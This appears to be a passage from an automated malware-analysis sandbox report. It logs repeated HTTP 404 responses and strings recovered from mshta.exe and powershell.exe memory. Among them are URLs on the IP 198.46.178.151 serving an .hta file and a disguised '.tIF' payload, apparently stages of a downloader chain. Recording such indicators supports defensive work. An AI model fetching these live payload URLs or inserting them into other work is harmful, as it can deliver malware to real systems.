Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 30 Oct 2024 06:54:33 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 30 Oct 2024 06:54:34 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 30 Oct 2024 06:54:35 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 30 Oct 2024 06:54:37 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 30 Oct 2024 06:54:38 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 30 Oct 2024 06:54:39 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 30 Oct 2024 06:54:40 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 30 Oct 2024 06:54:41 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 30 Oct 2024 06:54:42 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 30 Oct 2024 06:54:43 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 30 Oct 2024 06:54:45 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 30 Oct 2024 06:54:46 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 30 Oct 2024 06:54:47 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 30 Oct 2024 06:54:49 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 30 Oct 2024 06:54:50 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 30 Oct 2024 06:54:51 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 30 Oct 2024 06:54:52 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 30 Oct 2024 06:54:53 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 30 Oct 2024 06:54:55 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 30 Oct 2024 06:54:56 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 30 Oct 2024 06:54:57 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 30 Oct 2024 06:54:58 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 30 Oct 2024 06:54:59 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 30 Oct 2024 06:55:01 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 30 Oct 2024 06:55:02 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 30 Oct 2024 06:55:03 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 30 Oct 2024 06:55:04 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 30 Oct 2024 06:55:05 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 30 Oct 2024 06:55:06 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 30 Oct 2024 06:55:06 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 30 Oct 2024 06:55:08 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 30 Oct 2024 06:55:08 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 30 Oct 2024 06:55:08 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 30 Oct 2024 06:55:08 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 30 Oct 2024 06:55:11 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 30 Oct 2024 06:55:11 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 30 Oct 2024 06:55:13 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 30 Oct 2024 06:55:14 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Source: mshta.exe, 0000000F.00000003.479625330.000000000047C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.475162292.000000000047C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.481156677.0000000000481000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://198.46.178.151/
Source: mshta.exe, 0000000F.00000002.481156677.0000000000481000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://198.46.178.151/65/hb/creatednewthingsforme.hta
Source: mshta.exe, 0000000F.00000002.481059282.000000000042A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://198.46.178.151/65/hb/creatednewthingsforme.hta...
Source: mshta.exe, 00000004.00000002.427447815.00000000003BA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://198.46.178.151/65/hb/creatednewthingsforme.hta...W
Source: mshta.exe, 0000000F.00000002.481059282.000000000042A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://198.46.178.151/65/hb/creatednewthingsforme.hta.EXE
Source: mshta.exe, 0000000F.00000003.480889514.000000000424D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.474859435.000000000424A000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.481410018.000000000424F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://198.46.178.151/65/hb/creatednewthingsforme.hta4C:
Source: mshta.exe, 00000004.00000003.424111399.0000000000441000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.426857155.0000000000441000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.427447815.0000000000441000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.479625330.000000000047C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.475162292.000000000047C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.481156677.0000000000481000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://198.46.178.151/65/hb/creatednewthingsforme.htaC:
Source: mshta.exe, 00000004.00000003.422295255.000000000342E000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.427231584.000000000342E000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.424958964.000000000342E000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.427915936.000000000342E000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.426649395.000000000342E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://198.46.178.151/65/hb/creatednewthingsforme.htaPwA
Source: mshta.exe, 00000004.00000003.426435936.0000000002335000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.425855768.0000000002335000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.472167622.0000000002CD5000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.477712433.0000000002CD5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://198.46.178.151/65/hb/creatednewthingsforme.htahttp://198.46.178.151/65/hb/creatednewthingsfor
Source: mshta.exe, 00000004.00000003.422295255.000000000342E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://198.46.178.151/65/hb/creatednewthingsforme.htalse
Source: mshta.exe, 00000004.00000003.424111399.00000000003F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://198.46.178.151/65/hb/creatednewthingsforme.htaol&bQ~
Source: mshta.exe, 00000004.00000003.424111399.00000000003F1000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.424111399.0000000000401000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.426857155.00000000003F1000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.427447815.0000000000401000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.426857155.0000000000401000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.475162292.0000000000450000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://198.46.178.151/65/hb/creatednewthingsforme.htaol&beef=adjoining&pillbox
Source: mshta.exe, 00000004.00000003.426857155.00000000003DF000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.424111399.00000000003DF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://198.46.178.151/65/hb/creatednewthingsforme.htaol&beef=adjoining&pillboxD~
Source: powershell.exe, 00000005.00000002.459817046.0000000003A22000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.499011625.000000000265D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://198.46.178.151/65/seetheb
Source: powershell.exe, 00000011.00000002.499011625.0000000002292000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://198.46.178.151/65/seethebesthtingswithmewhichgivegreatoutputofmegood.tIF
Source: powershell.exe, 00000005.00000002.459817046.0000000003A22000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.499011625.000000000265D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://198.46.178.151/65/seethebesthtingswithmewhichgivegreatoutputofmegood.tIFp
Source: powershell.exe, 00000005.00000002.467204140.000000001A71A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://198.46.178.151/65/seethebesthtingswithmewhichgivegreatoutputofmegood.tIFpP
Source: mshta.exe, 00000004.00000003.422295255.0000000003442000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.427915936.0000000003442000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.427231584.0000000003442000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.424958964.0000000003442000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.426649395.0000000003442000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://198.46.178.151/L
Source: mshta.exe, 0000000F.00000003.480889514.000000000424D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.474859435.000000000424A000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.481410018.000000000424F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://198.46.178.151/p
Source: mshta.exe, 00000004.00000003.422295255.0000000003442000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.427915936.0000000003442000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.427231584.0000000003442000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.424958964.0000000003442000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.426649395.0000000003442000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://198.46.178.151/t
Source: mshta.exe, 00000004.00000003.426649395.000000000341B000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.427915936.000000000341B000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.422295255.000000000341B000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.427231584.000000000341B000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.480889514.0000000004266000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.481410018.0000000004266000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.474859435.0000000004266000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: mshta.exe, 00000004.00000003.422295255.00000000033F2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.424958964.00000000033ED000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.427915936.00000000033F5000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.426649395.00000000033EE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.427231584.00000000033F4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.480889514.0000000004266000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.480889514.000000000424D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.481410018.0000000004266000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.474859435.000000000424A000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.481367241.0000000004241000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.474859435.0000000004266000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.481410018.000000000424F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/UTN-USERFirst-Hardware.crl06
Source: mshta.exe, 00000004.00000003.422295255.00000000033F2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.424958964.00000000033ED000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.427915936.00000000033F5000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.426649395.00000000033EE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.427231584.00000000033F4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.480889514.0000000004266000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.481410018.0000000004266000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.474859435.0000000004266000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.entrust.net/2048ca.crl0
Source: mshta.exe, 00000004.00000003.422295255.00000000033F2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.424958964.00000000033ED000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.427915936.00000000033F5000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.426649395.00000000033EE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.427231584.00000000033F4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.480889514.0000000004266000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.480889514.000000000424D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.481410018.0000000004266000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.474859435.000000000424A000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.474859435.0000000004266000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.481410018.000000000424F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.entrust.net/server1.crl0
Source: mshta.exe, 00000004.00000003.426649395.000000000341B000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.427915936.000000000341B000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.422295255.000000000341B000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.427231584.000000000341B000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.480889514.0000000004266000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.481410018.0000000004266000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.474859435.0000000004266000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: mshta.exe, 00000004.00000003.422295255.00000000033F2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.424958964.00000000033ED000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.427915936.00000000033F5000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.426649395.00000000033EE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.427231584.00000000033F4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.480889514.000000000424D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.474859435.000000000424A000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.481410018.000000000424F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0
Source: mshta.exe, 00000004.00000003.422295255.00000000033F2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.424958964.00000000033ED000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.427915936.00000000033F5000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.426649395.00000000033EE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.427231584.00000000033F4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.480889514.0000000004266000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.480889514.000000000424D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.481410018.0000000004266000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.474859435.000000000424A000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.474859435.0000000004266000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.481410018.000000000424F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.pkioverheid.nl/DomOvLatestCRL.crl0
Source: powershell.exe, 0000000E.00000002.508820079.000000000023F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://go.cr
Source: powershell.exe, 00000005.00000002.459817046.0000000003022000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://go.micros
Source: powershell.exe, 00000005.00000002.459817046.00000000024CB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.466772113.00000000122F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
